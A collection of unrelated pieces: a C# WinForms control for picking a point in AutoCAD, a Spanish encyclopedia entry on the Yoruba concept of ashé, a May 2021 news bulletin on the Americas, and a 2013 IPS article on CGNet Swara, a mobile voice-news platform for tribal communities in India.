            this.btnPick = new System.Windows.Forms.Button();
            this.lblPick = new System.Windows.Forms.Label();

            this.lblX = new System.Windows.Forms.Label();
            this.txtX = new System.Windows.Forms.TextBox();

            this.lblY = new System.Windows.Forms.Label();
            this.txtY = new System.Windows.Forms.TextBox();

            this.lblZ = new System.Windows.Forms.Label();
            this.txtZ = new System.Windows.Forms.TextBox();

            this.SuspendLayout();

            // btnPick
            this.btnPick.Location = new System.Drawing.Point(0, 0);
            this.btnPick.Image = Properties.Resources.pick;
            this.btnPick.Name = "btnPick";
            this.btnPick.Size = new System.Drawing.Size(23, 23);
            this.btnPick.TabIndex = 0;
            this.btnPick.UseVisualStyleBackColor = true;
            this.btnPick.Click += BtnPick_Click;
            // lblPick
            this.lblPick.AutoSize = true;
            this.lblPick.Location = new System.Drawing.Point(29, 5);
            this.lblPick.Name = "lblPick";
            this.lblPick.Size = new System.Drawing.Size(90, 13);
            this.lblPick.TabIndex = 1;
            this.lblPick.Text = "&Baz noktasını seç";

            // lblX
            this.lblX.AutoSize = true;
            this.lblX.Location = new System.Drawing.Point(0, 28);
            this.lblX.Name = "lblX";
            this.lblX.Size = new System.Drawing.Size(14, 13);
            this.lblX.TabIndex = 2;
            this.lblX.Text = "&X";
            // txtX
            this.txtX.Location = new System.Drawing.Point(55, 24);
            this.txtX.Name = "txtX";
            this.txtX.ReadOnly = true;
            this.txtX.Size = new System.Drawing.Size(100, 20);
            this.txtX.TabIndex = 3;

            // lblY
            this.lblY.AutoSize = true;
            this.lblY.Location = new System.Drawing.Point(0, 54);
            this.lblY.Name = "lblY";
            this.lblY.Size = new System.Drawing.Size(14, 13);
            this.lblY.TabIndex = 4;
            this.lblY.Text = "&Y";
            // txtY
            this.txtY.Location = new System.Drawing.Point(55, 50);
            this.txtY.Name = "txtY";
            this.txtY.ReadOnly = true;
            this.txtY.Size = new System.Drawing.Size(100, 20);
            this.txtY.TabIndex = 5;

            // lblZ
            this.lblZ.AutoSize = true;
            this.lblZ.Location = new System.Drawing.Point(0, 80);
            this.lblZ.Name = "lblZ";
            this.lblZ.Size = new System.Drawing.Size(14, 13);
            this.lblZ.TabIndex = 6;
            this.lblZ.Text = "&Z";
            // txtZ
            this.txtZ.Location = new System.Drawing.Point(55, 76);
            this.txtZ.Name = "txtZ";
            this.txtZ.ReadOnly = true;
            this.txtZ.Size = new System.Drawing.Size(100, 20);
            this.txtZ.TabIndex = 7;

            this.Controls.Add(this.btnPick);
            this.Controls.Add(this.lblPick);

            this.Controls.Add(this.lblX);
            this.Controls.Add(this.txtX);

            this.Controls.Add(this.lblY);
            this.Controls.Add(this.txtY);

            this.Controls.Add(this.lblZ);
            this.Controls.Add(this.txtZ);

            this.Width = 200;

            this.ResumeLayout(false);
        }

        private void BtnPick_Click(object sender, EventArgs e)
        {
            Editor ed = Autodesk.AutoCAD.ApplicationServices.Application.DocumentManager.MdiActiveDocument.Editor;
            using (EditorUserInteraction UI = ed.StartUserInteraction(FindForm()))
            {
                string message = string.IsNullOrEmpty(PickPointPrompt) ? "\nBaz noktası: " : PickPointPrompt;
                PromptPointResult ptRes = ed.GetPoint(message);
                if (ptRes.Status == PromptStatus.OK) PickPoint = ptRes.Value;
            }
        }
    }
}

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El ashé, también aché o asé, es un concepto básico en las religiones yoruba y afrocubanas, como la santería. Se le entiende como la energía básica del universo de lo que todo esta constituido incluidos los orishas y que mantienen el equilibrio y el orden. Dicha fuerza requiere estar equilibrada para el correcto funcionamiento de la existencia, por lo que puede propiciarse a través del sacrificio (ebbó), controlado por ciertas personas (babalawos) y rituales, y concentrado de manera especial en ciertos objetos sagrados o amuletos. Estas religiones sostienen que el ashé no es bueno o malo, pero su desequilibrio conlleva enfermedad, males y ruina para las personas. Por esto último, dentro del lenguaje popular de la santería cubana, también se denomina ashé a la suerte que posea una persona.

En la cosmogonía afrocubana, el ashé era la energía fundamental preexistente al universo, que cuando cobró conciencia se constituyó en Olodumaré y cuando pasó a la acción en Olofi.  Este último creó a Obatalá, el primer orisha, dando comienzo a la genealogía de estos espíritus que recibieron gran cantidad de ashé de parte de Olodumare y a quienes se intenta propiciar a través del culto santero.

Referencias

Bibliografía

Canizares, Raúl (1999). Cuban Santeria. Walking with the night. Destiny books. p. 5. ISBN 9780892817627.

Santería


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Home Categories Newsletter 1 – 15 May – The Americas Bulletin
1 – 15 May – The Americas Bulletin
Draft about sanctions on Turkey
A group of Senators from the Democratic Party in the USA submitted a draft to the Senate calling for sanctions on Turkey if it fails to take effective steps against human rights violations. The bill, which is a repetition of the drafts submitted in the past in 2017 and 2019, called the "Turkey Human Rights Incentive Act 2021", has the signatures of Democrat Senators Ed Markey, Ron Wyden and Jeff Merkley.
Source: The National News. US senators push bill to impose sanctions on Turkey over human rights record. Accessed on 01.05.2021 from https://www.thenationalnews.com/world/the-americas/us-senators-push-bill-to-impose-sanctions-on-turkey-over-human-rights-record-1.1214360
Panama port activity
The port activity was one of the few sectors in the Panama economy that did not come to a standstill during the pandemic despite the measures adopted to control the spread of the coronavirus. According to the preliminary registry of the Panama Maritime Authority (AMP), during the first quarter, the port system, made up of six terminals, mobilized 2,900,435 TEU (unit equivalent to 20 feet long). Compared to the first quarter of 2020, there was a growth of 7.5% or 146,347 TEU in the first three months of this year. If it is related to the first quarter of 2019, the growth is almost 500,00. TEUs.
Source: Newsroom Panama. Panama port activity beats pandemic – up 7.5%. Accessed on 01.05.2021 from https://www.newsroompanama.com/index.php/business/panama-port-activity-beats-pandemic-up-75
Refutation from the USA to Iran
Iran state television announced that Tehran would release 4 Americans accused of espionage in exchange for Washington's release of 4 Iranians held in America and the re-use of frozen $ 7 billion Iranian resources. US Foreign Ministry spokesperson Ned Price also told Reuters that the news that a prisoner swap agreement was reached is not true. Price also emphasized that Americans who are imprisoned or disappeared in Iran always express their situation and will not stop until they bring them together with their families.
Source: USA. Today. US denies Iranian state TV report on deals to release US, British prisoners. Accessed on 02.05.2021 from https://www.usatoday.com/story/news/world/2021/05/02/iranian-state-tv-reports-prisoner-swap-deals-us-britain/4914494001/
Warning from US Secretary of State Blinken to China
US Foreign Minister Antony Blinken said that outside of China's borders is more aggressive and increasingly hostile. Speaking in the "60 Minutes" program broadcast on CBS television, Blinken was asked whether Washington could engage in military friction with Beijing. Blinken replied to the question, "Even getting to that point or moving in that direction is against the interests of both China and the United States."
Source: BBC News. US-China relations: Blinken accuses China of acting more aggressively. Accessed on 03.05.2021 from https://www.bbc.com/news/world-us-canada-56967211
Message from President Joe Biden
President Joe Biden said, "Journalists are indispensable for the functioning of democracy" in the message he published on World Press Freedom Day. Biden's message, "Thirty years ago today, African journalists came together in the face of oppression and violence. The establishment, maintenance and promotion of an independent, pluralistic and free press are essential for the development and maintenance of democracy in a country and economic development. He published his declaration. Since then, under great personal risks, we celebrate the courage of those who refuse the repression and reveal the facts and emphasize once again the vital role of journalism and the free press all over the world."
Source: The White House. Statement by President Joe Biden on the Occasion of World Press Freedom Day. Accessed on 03.05.2021 from https://www.whitehouse.gov/briefing-room/statements-releases/2021/05/03/statement-by-president-joe-biden-on-the-occasion-of-world-press-freedom-day/
Biden's Decision to Increase the Refugee Quota
The Biden administration announced two weeks ago that the refugee quota would be kept at the level of 15,000 under the former Republican President Donald Trump. However, Biden turned from his decision. President Joe Biden stated that he will increase the refugee quota of being admitted to the country to 62,500 this year. Biden's refugee quota at the lowest level in the history of the United States caused had been the reaction of its supporters.
Source: Voice of America. Biden to Quadruple Number of Refugees Allowed in US Accessed on 03.05.2021 from https://www.voanews.com/usa/biden-quadruple-number-refugees-allowed-us
The Step of Reducing Hydrofluorocarbon Gases from the USA.
The US Environmental Protection Agency (EPA) has proposed a gradual end to the production and use of greenhouse gas hydrofluorocarbon (HFC) used in refrigerators and air conditioners. The new rule proposed by the EPA is considered to be the continuation of the law passed at the Congress in December and approving the end of the use of hydrofluorocarbon gases within 15 years. Accordingly, it is suggested that the production and use of HFC gas in the USA will be reduced by 85 percent in the next 15 years. HFC gas is considered as one of the factors that fuel global warming and suggestions are made to reduce the use of this gas all over the world. President Joe Biden pledged to comply with the global agreement reached in 2016 to reduce HFC gas.
Source: New York Times. EPA to Sharply Limit Powerful Greenhouse Gases. Accessed on 03.05.2021 from https://www.nytimes.com/2021/05/03/climate/EPA-HFCs-hydrofluorocarbons.html
G-7 Nations Vow to End Syrian War, Top US Diplomat Says:
"US Secretary of State Antony Blinken said Tuesday that the Group of 7 industrialized nations has vowed to end the 10-year civil war in Syria. "My @G7 counterparts and I reaffirmed our commitment to a political resolution for ending the conflict in Syria," Blinken tweeted as he and other G-7 members attended their first in-person meetings in two years.
Source: Voa News. G-7 Nations Vow to End Syrian War, Top US Diplomat Says. Accessed on 04.05.2021 from https://www.voanews.com/usa/g-7-nations-vow-end-syrian-war-top-us-diplomat-says
Canada is facing legal action
The Canadian Association of Refugee Lawyers filed the legal action in federal court claiming the policy is unlawful because it fails to consider the situation of asylum-seekers and whether they have reasonable alternatives available.
Source: Global News. Canada is facing legal action over the COVID-19 policy that pushes asylum-seekers to the US Accessed on 04.05.2021 from https://globalnews.ca/news/7833027/canada-court-asylum-seekers-policy/
Apology to the Maya people of Mexico
The federal government on Monday apologized to the Maya people of Mexico and beyond for what it said was five centuries of abuse committed by foreign and Mexican authorities and longstanding discrimination that continues to the present day. President López Obrador offered the apology at an event at the Caste War Museum in Tihosuco, Quintana Roo, saying that it was an "imperative of government ethics" and a result of his own personal convictions.
Source: Mexico News Daily. Government apologizes for 5 centuries of abuse against Maya people.Acessed on 04.05.2021 from https://mexiconewsdaily.com/news/government-apologizes-for-centuries-of-abuse-of-maya/.
New Target in Vaccination from President Biden
President Joe Biden stated that they are aiming for maybe 70 percent of them to have received at least one dose of the vaccine by July 4, the US Independence Day. It is aimed that 160 million adults will be vaccinated by July 4.
Source: New York Times. Biden Shifts Vaccination Strategy in Drive to Reopen by July 4. Accessed on 05.05.2021 from https://www.nytimes.com/2021/05/04/us/politics/biden-vaccination-strategy.html
Facebook's Decision to Continue Ban on Trump
Whether the Supervisory Board's former President Donald Trump's Facebook account will remain closed or not is a long-awaited clue as to how Facebook's rules violating the world will throw it against world leaders. Facebook's global affairs officer, Nick Clegg, said in a blog post published after the decision: "Now we will evaluate the decision of the Board and define a clear and proportionate move. He said that the blocking on Trump's accounts will continue during this time.
Source: Voice of America. Facebook Oversight Upholds Trump Ban Linked to Storming of US Capitol. Accessed on 05.05.2021 from https://www.voanews.com/usa/facebook-oversight-upholds-trump-ban-linked-storming-us-capitol
The federal government of Canada will send up to 350 much-needed ventilators from its national emergency stockpile and up to 25,000 vials of antiviral redeliver to help.
Source: Global News. Canada sends medical supplies to India as COVID-19 overwhelms the country's health care. Accessed on 05.05.2021 from https://globalnews.ca/news/7836207/canada-medical-supplies-india/
Support Promise from the US to Ukraine
The US Minister of Foreign Affairs met with Ukrainian President Volodimir Zelenski during his visit to Ukraine to support Russia's military activity on the border with Ukraine. Foreign Minister Antony Blinken noted that after Russia deployed troops on the Ukrainian border, Washington could increase its security support to Kiev. Blinken noted that even after Russia announced that it withdrew its troops from the Ukrainian border, it left a large number of troops and ammunition in the region. Russia's deployment of troops at the border had caused the strain in its relations with western countries.
Source: Voice of America. Accessed on 06.05.2021 from https://www.voanews.com/episode/blinken-pledges-us-support-ukraine-against-russian-military-threats-4680161
The Ministry of Justice Confiscated the Telephone Records of Our Correspondents
The Washington Post newspaper announced that during the Trump Administration period, the phone records of three reporters of the Ministry of Justice were confiscated by secret court order. Reporters were examining the federal investigation into Donald Trump's relations with Russia in the 2016 election.This event, announced by the newspaper to the public, seems to fuel the debate between the press organizations and the groups that support freedom of the press and the federal government. The freedom of journalists to be informed is under the constitutional guarantee in the USA.
Source: New York Times. Accessed on 07.05.2021 from https://www.nytimes.com/2021/05/07/us/politics/justice-department-washington-post-phone-records.html
Reviving the Iranian Nuclear Deal is possible
The United States and Iran are still divided over key issues, but they could reach an agreement within weeks on reviving the 2015 nuclear agreement if Tehran makes a political decision to make it happen, a senior US official said Thursday. Still, the official, who was not authorized to speak on the record, said the negotiations would need to speed up to clinch an agreement in the next few weeks before Iran holds a presidential election on June 18. "If Iran makes the political decision that it genuinely wants to return to the JCPOA as the JCPOA was negotiated, then it can be done relatively quickly, and implementation can be relatively swift," the official said. "But we don't know if Iran has made that decision."
Source: NBC News. Reviving nuclear deal possible if Iran makes 'political decision,' US official says. Accessed on 07.05.2021 from https://www.nbcnews.com/politics/national-security/reviving-nuclear-deal-possible-if-iran-makes-political-decision-u-n1266605
Critical Pipeline Targeted Cyber Attack in the USA.
Colonial Pipeline company, which operates a fuel pipeline in the eastern states of the USA, temporarily suspended its activities by declaring that it was the target of ransomware. The company did not provide information on the organizers of the attack or how much ransom was requested. The company, which transports gasoline, jet fuel and fuel oil from the Gulf of Mexico refineries to the state of New Jersey and Texas through oil pipelines, transports 45 percent of all fuel used on the east side of the USA.
Source: Financial Times. Cyber-attack shuts major US pipeline system. Accessed on 08.05.2021 from https://www.ft.com/content/2ce0b1fe-9c3f-439f-9afa-78d77849dd92
The Panama Canal Transits
The reduction of cruise ships transiting the Panama Canal has been offset by the transportation of grains and liquefied natural gas (LNG). However, in the sale of electricity to the country's interconnected system, there was a drop of $4.9 million, and the sale of drinking water to the National Aqueduct and Sewer Institute (Idaan) also had a decrease of $774,000. The easing of trade tensions between the United States and China, following the coming to power of Democrat Joe Biden in January, has led to a large movement of grains from North America to feed China's pig herd. This explains the great growth of this segment.
Source: Newsroom Panama. Canal transits benefit from Biden election. Accessed on: 08.05.2021 from https://www.newsroompanama.com/business/canal-transits-benefit-from-biden-election
US 5th Fleet Illegal Weapons Addressed
USS Monterey, a guided missile warship belonging to the 5th Fleet of the American Navy, seized illegal weapons in the international waters of the Arabian Sea. In the statement made by the 5th Fleet stationed in Bahrain, it was stated that the weapons included dozens of Russian-made anti-tank missiles, Chinese assault and machine guns, assassination weapons and rocket launchers.
Source: Reuters. US 5th Fleet seizes weapons shipment from stateless dhow in Arabian Sea. Accessed on 09.05.2021 from https://www.reuters.com/business/aerospace-defense/us-5th-fleet-seizes-weapons-shipment-stateless-dhow-arabian-sea-2021-05-08/
Biden East European Countries to Increase Cooperation Developing
President Joe Biden attended the Eastern European countries summit in Bucharest, the capital of Romania, via video conference. Security and Ukraine in the Black Sea region were on the agenda of the summit. In the statement made by the White House, it was stated that "President Biden expressed the importance of increasing resistance against harmful economic and political actions of rivals, who support NATO's deterrence and its desire to strengthen its defense."
Source: Reuters.Romanian president says more NATO presence needed in Eastern Europe. Accessed on 10.05.2021 from https://www.reuters.com/world/europe/biden-join-eastern-european-nato-states-summit-focus-seen-ukraine-2021-05-10/
The Step to Separate Science and Politics from the White House
Biden management, to bring a new venture to encrypt science. With this obligation, 46 accurate scientific achievement task force is established. The Board will hold its first meeting on Friday. The task force's goal is to research scientific data scientifically since 2009 and seek ways to keep politics and science different in the future.
Source: The Times of India. New White House panel aims to separate science, politics. Accessed on 10.05.2021 from https://timesofindia.indiatimes.com/world/us/new-white-house-panel-aims-to-separate-science-politics/articleshow/82522300.cms
Economic stagnation drives migrants north from Central America
Unauthorized border crossings into the US from Mexico have soared this year to near 20-year highs. This poses an acute political problem for President Joe Biden, who has asked Vice-President Kamala Harris to deal with the crisis and has earmarked the US $4 billion in aid for the Northern Triangle. How this will be spent is not clear.
Source: Mexico News Daily. Economic stagnation drives migrants north from Central America. Accessed on 10.05.2021 from https://mexiconewsdaily.com/news/economic-stagnation-drives-migrants-north-from-central-america/
Medical Rights of Transgender Individuals are Protected Again in the USA.
The Biden administration announced that the US will protect gay and transgender people from gender discrimination regarding healthcare services. The administration reversed the Trump-era policy of trying to narrow the scope of border legal rights regarding medical care. The Ministry of Health's new step has confirmed that federal laws prohibiting gender discrimination in medical services also protect homosexual and transgender people. The Trump administration defined "gender" as meaning gender at birth, thus removing transgender people from the protective umbrella of the law.
Source: The Commonwealth Fund. Federal Government Reinstates Health Care Protections for Transgender Americans. Accessed on 11.05.2021 from https://www.commonwealthfund.org/blog/2018/federal-protections-health-care-risk-transgender-americans
US -Iran Tension in the Strait of Hormuz
It was announced in approximately 30 warning shots after a ship belonging to the US Coast Guard in the Strait of Hormuz, 13 ships from the Iranian Revolutionary Guards Navy approached the US Navy. The US Defense Department spokesman John Kirby said that Iranian torpedo boats were fired after they came within 130 meters of six US military ships, including the USS. Monterey, which was escorting the guided-missile submarine Georgia.
Source: WION. US military ship fires 30 warning shots after an encounter with Iranian vessels. Accessed on 11.05.2021 from https://www.wionews.com/world/us-military-ship-fires-30-warning-shots-after-encounter-with-iranian-vessels-384212
The USA has been approved to reduce the age of application of the vaccine developed by Pfizer / BioNTech against Coronavirus to 12.
Source: Global News. COVID-19 vaccinations could start for US kids aged 12-15 this week. Accessed on: 11.05.2021 from https://globalnews.ca/news/7850808/covid-vaccine-children-us-this-week/
President Biden said that he had spoken with Prime Minister Benjamin Netanyahu of Israel "for a while" on Wednesday amid escalating fighting between Israelis and Palestinians and asserted his "unwavering support" for Israel's "right to defend itself."
Source: NY Times. Biden, speaking with Netanyahu, asserts Israel's 'right to defend itself.' Accessed on 12.05.2021 from https://www.nytimes.com/2021/05/12/world/middleeast/biden-netanyahu-israel.html
The US Sends Ambassadors to the Middle East
The US sends representatives to the region after the tension between Israel and Palestine escalates. US Secretary of State Antony Blinken announced that it took a deputy undersecretary diplomat to decide on the region to call on the parties to end the extremely sad violence
Source: NY Times. U.S. envoy is heading to the Middle East. Accessed on: 12.05.2021 from https://www.nytimes.com/2021/05/12/world/middleeast/israel-palestine-blinken.html
The Biden administration sought the review under the novel "rapid response" mechanism in the United States-Mexico-Canada Agreement, which replaced the North American Free Trade Agreement and took effect last summer. Under the mechanism, penalties can be brought against a specific factory for violating workers' rights of free association and collective bargaining.
Source: NY Times. US Asks Mexico to Investigate Labor Issues at GM Facility. Accessed on 12.05.2021 from https://www.nytimes.com/2021/05/12/business/economy/mexico-investigate-trade-gm.html
False statements during the 2019 election campaign
Election's commissioner Yves Cote says his office investigated some 400 complaints about false statements allegedly made during the 2019 federal election campaign. While 400 may seem like a large number, Cote says the complaints were clustered around roughly a half-dozen allegedly false statements — with many of them using identical language, suggesting an organized campaign.
Source: Global News. Around 400 complaints of false statements made during 2019 election campaign investigated. Accessed on 12.05.2021 from https://globalnews.ca/news/7857674/false-statements-election-2019/
Energy projects worth US $35 billion
Energy sector projects worth more than US $35 billion are stalled because they haven't been granted government permits, according to a high-ranking official with Mexico's most powerful business lobby. Roger González, president of the Business Coordinating Council's energy commission, said that 128 projects – among which are gas, fuel storage and electricity generation projects are ready to start but can't due to a lack of permits.
Source: Mexico News Daily. Energy projects worth US $35bn on hold as government withholds permits. Accessed on 12.05.2021 from https://mexiconewsdaily.com/news/energy-projects-worth-us-35bn-on-hold-as-government-withholds-permits/
Cyber Attack to the Colonial Pipeline and restart
Colonial Pipeline, operator of the largest US fuel pipeline, said Wednesday it is restarting operations after being shut down for five days due to a cyberattack. The company shut down its entire operation Friday after its financial computer networks were infected by a Russia-tied hacker gang known as DarkSide, fearing that the hackers could spread to its industrial operations as well.
Source: NBC News. Colonial announces pipeline restart, says normal service will take 'several days. Accessed on 03.05.2021 from https://www.nbcnews.com/tech/security/colonial-announces-pipeline-restart-says-normal-service-will-take-seve-rcna917
Diversity campaign in Montreal
Montreal police have launched a campaign in an effort to change the force's image. On Thursday, police launched a program to recruit more young people from ethnically and racially diverse backgrounds, including Indigenous youth.
Source: Global News. Montreal police launch diversity campaign. Accessed on: 13.05.2021 from https://globalnews.ca/news/7860379/montreal-police-diversity-campaign/
President Joe Biden revokes Trump
President Joe Biden on Friday revoked a number of his predecessor's executive orders, including one to create a statuary garden that reflects "the awesome splendor of our country's timeless exceptionalism." Trump had called the garden America's answer to a "reckless attempt to erase our heroes, values, and entire way of life." Biden also got rid of Trump's requirement that legal immigrants have health insurance. Biden said it doesn't benefit the United States to block immigrants who "lack significant financial means or have not purchased health insurance coverage from a restrictive list of qualifying plans."
Source: USA. Today. President Joe Biden revokes Trump orders on "heroes garden" and other issues.Accessed on 14.05.2021 from https://www.usatoday.com/story/news/politics/2021/05/14/biden-revokes-trump-orders-heroes-garden-and-other-issues/5097056001/
Divisions within the party have burst into public view, with the party's ascendant left viewing the Mideast conflict as a searing racial justice issue that carries echoes of US politics. Representative Alexandria Ocasio-Cortez of New York and other progressive members of Congress delivered impassioned speeches about the Israeli-Palestinian conflict on the House floor. In 1988, when James Zogby, the founder of the Arab American Institute, pushed Democrats to include a mention of Palestinian sovereignty in their platform, party leaders responded with a clear warning, he recalled: "If the P-word is even in the platform, all hell will break loose." Eager to stave off an angry confrontation at the convention, the issue was shelved without a vote.
Source: NY. Times. Tension Among Democrats as Left Defends Palestinians Grow Over Israel. Accessed on: 15.05.2021 from https://www.nytimes.com/2021/05/15/us/politics/democrats-israel-palestinians.html
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A Google for India's Poor
By Keya Acharya	Reprint | | Print | |En español
Tribal women from Chattisgarh in India record a message. Credit: Purushottam Thakur/IPS.
RAIPUR, India, Nov 23 2013 (IPS) - Deep in the forests of central India live the Gond tribals, an almost forgotten lot, neglected as much by the state as by mainstream media. Many cannot read or write. But thanks to a new technology, and the rapid spread of mobile phones through India, they are now picking up their cell phone and making their voice heard.
A tele-news platform called CGNet Swara is helping change their world.
Ask Naresh Bunkar, a 38-year-old tribal in Chhattisgarh state who has used it time and again. "Computer mein chhappa jata hai" ("It gets typed on the computer"), he tells IPS proudly in Hindi, pointing out how CGNet Swara helps news spread through the Internet.
Through it, tribals air their grievances, share news and get administrative work done – all for free.
"I don't need to pay one paisa for it," says Bunkar, a field leader of sorts for tribals in the area.
"It's going to sound very strange for a computer nerd to tell you that technology is not the secret ingredient here." - Bill Thies
It was through CGNet Swara that he first reported how a forest ranger had taken a bribe of 99,000 rupees (1,000 dollars) from 33 tribal families while promising them land deeds under India's Forest Rights Act (2006). The news was circulated, and two months later he called again to say that the official had returned the money and apologised.
In another example of CGNet Swara's influence, a teacher who had stolen school money, classroom furniture and food grains given by the government for tribal children was suspended after a report on his misdeeds was aired on the network.
Encouraged by such success stories, tribals have swiftly embraced CGNet Swara, which literally means 'Chhattisgarh's voice' through the Internet. Started for the central Indian state, where 32.5 percent of the population is tribal, it is fast spreading to other parts of this vast country to reach out to areas that were beyond the pale of modern communication.
"While Indian states got divided on linguistic lines, the Gonds of central India were forgotten," Shubhranshu Choudhary, a former BBC journalist, told IPS.
"They don't have a newspaper in their native Gondi language, but the only new thing I have found on my return here is that most people now have cell phones," he says.
Choudhary used that cell phone knowledge to set up CGNet Swara in 2010. The system operates in a region beset with Maoist insurgency. Its inhabitants often find themselves caught in the crossfire between the guerrillas and state forces.
A native of Chhattisgarh, he says the ferment in the region stems from years of neglect.
"We are trying to create another 'development' paradigm," says Choudhary. "This communication system could well become the Google of the poor."
Here's how it works. When a tribal dials the number +91 80 500 68000, the message goes to a server in Bangalore. The caller disconnects and waits. Within seconds he receives a call and a recorded voice tells him to speak after the beep.
The server has been set up by Bill Thies, a self-confessed geek from the Massachusetts Institute of Technology (MIT) working at Microsoft's Research Laboratory in India's IT capital Bangalore.
Using a simple desktop and modem, Thies used a freely available software called Asterisk to build 10 lines that automatically call back 'missed call' numbers and then record a two-minute message from the caller.
"But," says Thies, "it's going to sound very strange for a computer nerd to tell you that technology is not the secret ingredient here."
The 'secret ingredient' is the unique media networking system set up by Choudhary, whose community interests aligned with Thies in user-generated technology.
'Swara' now has 400 callers daily, dialling Thies' server in Bangalore to either listen to or record their own news.
Each message goes to the moderator, Choudhary, and through him to about 50 strategically located volunteer sub-editors for cross-checking of facts and local follow-up.
The volunteers are educated Indians, well-versed in their spheres of work and residence, coming from a web-based Yahoo group called CGNet, set up in 2004 by Choudhary and journalist Frederick Noronha of Goa.
For instance, Bunkar's message on the forest official's bribe demand was first checked by CGNet's locally based editorial volunteers for accuracy. It was then sent to the principal chief conservator of forests who found the allegation to be true and suspended the official.
The network – with the website – has even helped people access a popular rural job guarantee scheme.
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The state government, however, seems reluctant to acknowledge its potential as a parallel system of governance.
"I personally find it an effective source of feedback and grievance redressal from the grassroots. I do make use of it off and on," Chhatttisgarh Chief Secretary Sunil Kumar, the state's top bureacrat, told IPS, taking care to emphasise the non-official nature of the way he uses it.
Choudhary calls the network a kind of 'citizen journalism' wherein there is local news for local residents who are otherwise neglected by the mainstream media.
CGNet Swara now covers all of Chhattisgarh. It's also popular in the nearby states of Madhya Pradesh and Jharkhand. The news system has spread by word of mouth to the tribal belt across Gujarat, Rajasthan, Odisha, Jharkhand and Andhra Pradesh – an area Choudhary calls the 'media dark zone'.
Ironically, the region's ultra-left Maoist radicals, who claim to fight for the marginalised, have issued threats to Choudhary, asking him to close down CGNet Swara.
Choudhary, who divides his time between Delhi and Bhopal, says the Maoists are threatened by the concept of self-empowerment that the news system has brought to its users.
CGNet Swara is evolving into a radio system using a free medium-wave bandwidth, and Choudhary believes users will pay a small amount for subscribing. Running on a UN Democracy Fund and Knight Fellowship finances so far, the system is now looking for financial independence.
A health consultation network called Swasthya Swara is also being set up where traditional healers who make use of herbal medicines will be on air.
"We are extending our Swara system into a mobile-based voice portal," says Choudhary. "There is no need for a newsroom now. Geography is now history."
And, for the unempowered tribal population of India, whose numbers run into tens of millions, that's indeed good news.
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